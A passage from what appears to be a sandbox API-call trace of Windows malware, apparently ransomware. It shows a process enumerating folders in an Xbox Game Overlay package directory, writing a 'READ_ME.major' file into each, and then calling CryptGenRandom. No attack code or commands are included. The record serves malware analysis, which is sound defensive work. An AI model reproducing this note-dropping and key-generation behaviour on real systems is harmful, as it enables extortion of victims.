ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0205.531] SetLastError (dwErrCode=0x0) [0205.531] GetLastError () returned 0x0 [0205.532] SetLastError (dwErrCode=0x0) [0205.532] GetLastError () returned 0x0 [0205.532] SetLastError (dwErrCode=0x0) [0205.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f603f0 [0205.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60080 [0205.532] SetLastError (dwErrCode=0x0) [0205.532] GetLastError () returned 0x0 [0205.532] SetLastError (dwErrCode=0x0) [0205.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0205.532] SetLastError (dwErrCode=0x0) [0205.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0205.532] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13a0 [0205.533] WriteFile (in: hFile=0x13a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.534] CloseHandle (hObject=0x13a0) returned 1 [0205.535] FindNextFileW (in: hFindFile=0x2f2f898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361b3e5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9361b3e5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9361b3e5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0205.535] SetLastError (dwErrCode=0x0) [0205.535] GetLastError () returned 0x0 [0205.535] SetLastError (dwErrCode=0x0) [0205.535] GetLastError () returned 0x0 [0205.535] SetLastError (dwErrCode=0x0) [0205.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60170 [0205.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60148 [0205.535] SetLastError (dwErrCode=0x0) [0205.535] GetLastError () returned 0x0 [0205.535] SetLastError (dwErrCode=0x0) [0205.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0205.535] SetLastError (dwErrCode=0x0) [0205.535] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0205.535] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13a0 [0205.536] WriteFile (in: hFile=0x13a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.537] CloseHandle (hObject=0x13a0) returned 1 [0205.537] FindNextFileW (in: hFindFile=0x2f2f898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.537] SetLastError (dwErrCode=0x0) [0205.537] GetLastError () returned 0x0 [0205.537] SetLastError (dwErrCode=0x0) [0205.537] GetLastError () returned 0x0 [0205.537] SetLastError (dwErrCode=0x0) [0205.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f602b0 [0205.537] FindNextFileW (in: hFindFile=0x2f2f898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93618cd3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239a476, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93618cd3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0205.537] SetLastError (dwErrCode=0x0) [0205.537] GetLastError () returned 0x0 [0205.537] SetLastError (dwErrCode=0x0) [0205.537] GetLastError () returned 0x0 [0205.537] SetLastError (dwErrCode=0x0) [0205.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0205.537] FindNextFileW (in: hFindFile=0x2f2f898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93618cd3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239a476, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93618cd3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0205.537] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666ef8 [0205.537] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c21cd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935c21cd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fc58 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] GetLastError () returned 0x12 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] GetLastError () returned 0x12 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec08 [0205.538] FindNextFileW (in: hFindFile=0x2f2fc58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c21cd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935c21cd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] GetLastError () returned 0x12 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] GetLastError () returned 0x12 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0205.538] FindNextFileW (in: hFindFile=0x2f2fc58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] GetLastError () returned 0x12 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0205.538] SetLastError (dwErrCode=0x12) [0205.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60198 [0205.538] FindNextFileW (in: hFindFile=0x2f2fc58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664148 [0205.539] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b8588, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239b4f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fd58 [0205.539] SetLastError (dwErrCode=0x12) [0205.539] GetLastError () returned 0x12 [0205.539] SetLastError (dwErrCode=0x12) [0205.539] GetLastError () returned 0x12 [0205.539] SetLastError (dwErrCode=0x12) [0205.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0205.539] FindNextFileW (in: hFindFile=0x2f2fd58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b8588, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239b4f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.539] SetLastError (dwErrCode=0x12) [0205.539] GetLastError () returned 0x12 [0205.539] SetLastError (dwErrCode=0x12) [0205.539] GetLastError () returned 0x12 [0205.539] SetLastError (dwErrCode=0x12) [0205.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0205.539] FindNextFileW (in: hFindFile=0x2f2fd58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.539] SetLastError (dwErrCode=0x12) [0205.539] GetLastError () returned 0x12 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f602d8 [0205.540] FindNextFileW (in: hFindFile=0x2f2fd58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6650e8 [0205.540] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239bf5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fe58 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] GetLastError () returned 0x12 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] GetLastError () returned 0x12 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be528 [0205.540] FindNextFileW (in: hFindFile=0x2f2fe58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239bf5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] GetLastError () returned 0x12 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] GetLastError () returned 0x12 [0205.540] SetLastError (dwErrCode=0x12) [0205.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bea50 [0205.541] FindNextFileW (in: hFindFile=0x2f2fe58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.541] SetLastError (dwErrCode=0x12) [0205.541] GetLastError () returned 0x12 [0205.541] SetLastError (dwErrCode=0x12) [0205.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0205.541] SetLastError (dwErrCode=0x12) [0205.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f604b8 [0205.541] FindNextFileW (in: hFindFile=0x2f2fe58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664148 [0205.541] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b376c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239c8b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f8d8 [0205.541] SetLastError (dwErrCode=0x12) [0205.541] GetLastError () returned 0x12 [0205.541] SetLastError (dwErrCode=0x12) [0205.541] GetLastError () returned 0x12 [0205.541] SetLastError (dwErrCode=0x12) [0205.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be268 [0205.541] FindNextFileW (in: hFindFile=0x2f2f8d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b376c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239c8b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] GetLastError () returned 0x12 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] GetLastError () returned 0x12 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0205.542] FindNextFileW (in: hFindFile=0x2f2f8d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] GetLastError () returned 0x12 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60288 [0205.542] FindNextFileW (in: hFindFile=0x2f2f8d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667348 [0205.542] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935bacb1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935c355f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fcd8 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] GetLastError () returned 0x12 [0205.542] SetLastError (dwErrCode=0x12) [0205.542] GetLastError () returned 0x12 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0205.543] FindNextFileW (in: hFindFile=0x2f2fcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935bacb1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935c355f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] GetLastError () returned 0x12 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] GetLastError () returned 0x12 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0205.543] FindNextFileW (in: hFindFile=0x2f2fcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] GetLastError () returned 0x12 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60080 [0205.543] FindNextFileW (in: hFindFile=0x2f2fcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x935c355f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935c355f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x935c355f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] GetLastError () returned 0x12 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0205.543] SetLastError (dwErrCode=0x12) [0205.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60418 [0205.544] FindNextFileW (in: hFindFile=0x2f2fcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x935bfac7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935bfac7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0205.544] SetLastError (dwErrCode=0x12) [0205.544] GetLastError () returned 0x12 [0205.544] SetLastError (dwErrCode=0x12) [0205.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0205.544] SetLastError (dwErrCode=0x12) [0205.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60198 [0205.544] FindNextFileW (in: hFindFile=0x2f2fcd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x935bfac7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935bfac7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0205.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6683e0 [0205.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60288 [0205.544] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.544] SetFileAttributesW 